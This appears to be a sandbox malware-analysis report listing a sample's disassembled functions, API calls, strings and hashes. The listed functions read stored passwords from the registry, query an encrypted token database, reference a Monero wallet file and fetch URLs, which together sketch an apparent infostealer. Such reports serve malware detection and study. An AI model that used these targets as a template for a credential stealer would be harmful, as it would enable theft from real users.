Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: 6f8de59f9765d8cab58f8b5d4b600fc2f2c9b39f5a8c1910529fc25ebf0fd95d
Instruction ID: ef3f4961e96e6f2af21abaabcaef0f3e7ac695a2479c77d57853e899386cfbea
Opcode Fuzzy Hash: 6f8de59f9765d8cab58f8b5d4b600fc2f2c9b39f5a8c1910529fc25ebf0fd95d
Instruction Fuzzy Hash: A63154B1940609DBCB14EBE8DC95DFF73B4BB84301F204598F116A7250EE34A946DB62

Function 00B372D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00B37314
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00B3733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00B373B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00B3740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00B37452
HeapFree.KERNEL32(00000000), ref: 00B37459
task.LIBCPMTD ref: 00B37555

Strings

Password, xrefs: 00B37401

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettask
String ID: Password
API String ID: 2808661185-3434357891
Opcode ID: a352c8a8909c9860758806ac130e0a880e746def9d4eca89d392dc634f5da486
Instruction ID: 6be5eac53a8320cea98d7049c93db8d8443f282eb44f574eee9b306b782dc01b
Opcode Fuzzy Hash: a352c8a8909c9860758806ac130e0a880e746def9d4eca89d392dc634f5da486
Instruction Fuzzy Hash: 61611BB59442589BDB24DB54DC41BDAB7F8BF48300F1081E9E689A6241EF706FC9CFA1

Function 00B47500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00B47542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00B4757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B47603
RtlAllocateHeap.NTDLL(00000000), ref: 00B4760A
wsprintfA.USER32 ref: 00B47640

Part of subcall function 00B4A740: lstrcpy.KERNEL32(00B50E17,00000000), ref: 00B4A788

Strings

:, xrefs: 00B4755C
\, xrefs: 00B47560
C, xrefs: 00B4754C

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: d1a37aa56cfad269513962d2d0575df3a0a4d0d34b01ba0d6514602a7ebb9bd7
Instruction ID: 04be9c88112d53648e9a5654465266c6a5b97fa397432e78a7d549d13aaa0a36
Opcode Fuzzy Hash: d1a37aa56cfad269513962d2d0575df3a0a4d0d34b01ba0d6514602a7ebb9bd7
Instruction Fuzzy Hash: 294191B1D44358ABDB10DF98DC85BEEBBB8EF58704F100099F509A7280DB746B84DBA5

Function 00B3BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B4A740: lstrcpy.KERNEL32(00B50E17,00000000), ref: 00B4A788

Part of subcall function 00B4A9B0: lstrlen.KERNEL32(?,014E8830,?,\Monero\wallet.keys,00B50E17), ref: 00B4A9C5
Part of subcall function 00B4A9B0: lstrcpy.KERNEL32(00000000), ref: 00B4AA04
Part of subcall function 00B4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B4AA12

Part of subcall function 00B4A920: lstrcpy.KERNEL32(00000000,?), ref: 00B4A972
Part of subcall function 00B4A920: lstrcat.KERNEL32(00000000), ref: 00B4A982

Part of subcall function 00B4A8A0: lstrcpy.KERNEL32(?,00B50E17), ref: 00B4A905

Part of subcall function 00B4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B4A7E6

lstrlen.KERNEL32(00000000), ref: 00B3BC9F

Part of subcall function 00B48E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00B48E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 00B3BCCD
lstrlen.KERNEL32(00000000), ref: 00B3BDA5
lstrlen.KERNEL32(00000000), ref: 00B3BDB9

Strings

AccountTokens, xrefs: 00B3BB49
AccountId, xrefs: 00B3BCC4
SELECT service, encrypted_token FROM token_service, xrefs: 00B3BBEB
AccountTokens, xrefs: 00B3BABA

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 507ffbd87cea06d7a17333f8dce1778ca503689d5535b1c9512fca9c18153c64
Instruction ID: c373a5b11dcaef2160aa69634e25a7d9a6fd2cb0c53c0799d21d92e4bee2c47e
Opcode Fuzzy Hash: 507ffbd87cea06d7a17333f8dce1778ca503689d5535b1c9512fca9c18153c64
Instruction Fuzzy Hash: C4B14072950108ABEB04FBA4DC96EEE73B8EF54300F504598F506B6191EF346F49DB62

Function 00B34FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00B34FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00B34FD1
InternetOpenA.WININET(00B50DDF,00000000,00000000,00000000,00000000), ref: 00B34FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00B35011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00B35041
InternetCloseHandle.WININET(?), ref: 00B350B9
InternetCloseHandle.WININET(?), ref: 00B350C6

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 236fdde9903b85fbdf42343c36fbf9d09e3cf7f0a14c94fe75c3cb4b8f6f552d
Instruction ID: 1f32d68a0bbffca0fc059b0699088bb37eb0fc7fb164a24e1bff6f4ff83fefbe
Opcode Fuzzy Hash: 236fdde9903b85fbdf42343c36fbf9d09e3cf7f0a14c94fe75c3cb4b8f6f552d
Instruction Fuzzy Hash: 5831F6B4A40218ABDB24CF54DC85BDDB7B8EB48704F1081D9FA09A7281D7706EC58FA9

Function 00B48100 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,014ED958,00000000,?,00B50E2C,00000000,?,00000000), ref: 00B48130
RtlAllocateHeap.NTDLL(00000000), ref: 00B48137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00B48158
wsprintfA.USER32 ref: 00B481AC

Strings

%d MB, xrefs: 00B481A3
@, xrefs: 00B4814D

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2922868504-3474575989
Opcode ID: b4c40630555911ad96f11bfb8d66c93a383827329c503c5d7d86066a2d9b3fcf
Instruction ID: ad4f4b8b4ca58ca968dcf2ac4fe7f4eee7ace289c55d5ead3be29ed335d78b3d
Opcode Fuzzy Hash: b4c40630555911ad96f11bfb8d66c93a383827329c503c5d7d86066a2d9b3fcf
Instruction Fuzzy Hash: 9321EDB1E44318ABDB00DFD8DC49FAEB7B8FB48B14F104559F605BB280D77869018BA5

Function 00B483DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00B48426
wsprintfA.USER32 ref: 00B48459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00B4847B
RegCloseKey.ADVAPI32(00000000), ref: 00B4848C
RegCloseKey.ADVAPI32(00000000), ref: 00B48499

Part of subcall function 00B4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B4A7E6

RegQueryValueExA.KERNEL32(00000000,014ED9B8,00000000,000F003F,?,00000400), ref: 00B484EC
lstrlen.KERNEL32(?), ref: 00B48501
RegQueryValueExA.KERNEL32(00000000,014EDAD8,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00B50B34), ref: 00B48599
RegCloseKey.KERNEL32(00000000), ref: 00B48608
RegCloseKey.ADVAPI32(00000000), ref: 00B4861A

Strings

%s\%s, xrefs: 00B4844D

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 1e27381434c28ed2ca431c68bf509a9e0863fc074a79bdb7a45789942b4d19ff
Instruction ID: 30f4c99b30721a6ec7cb049d69ea98dd71fefda19c07fec2820fc7f2c8e58a18
Opcode Fuzzy Hash: 1e27381434c28ed2ca431c68bf509a9e0863fc074a79bdb7a45789942b4d19ff
Instruction Fuzzy Hash: 6D21EA719502189BDB64DB58DC85FE9B3B8FB48700F00C5D9A609A6280DF716A85CFE5

Function 00B47690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B476A4
RtlAllocateHeap.NTDLL(00000000), ref: 00B476AB
RegOpenKeyExA.KERNEL32(80000002,014DBC08,00000000,00020119,00000000), ref: 00B476DD
RegQueryValueExA.KERNEL32(00000000,014ED940,00000000,00000000,?,000000FF), ref: 00B476FE
RegCloseKey.ADVAPI32(00000000), ref: 00B47708

Strings

Windows 11, xrefs: 00B476BD

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
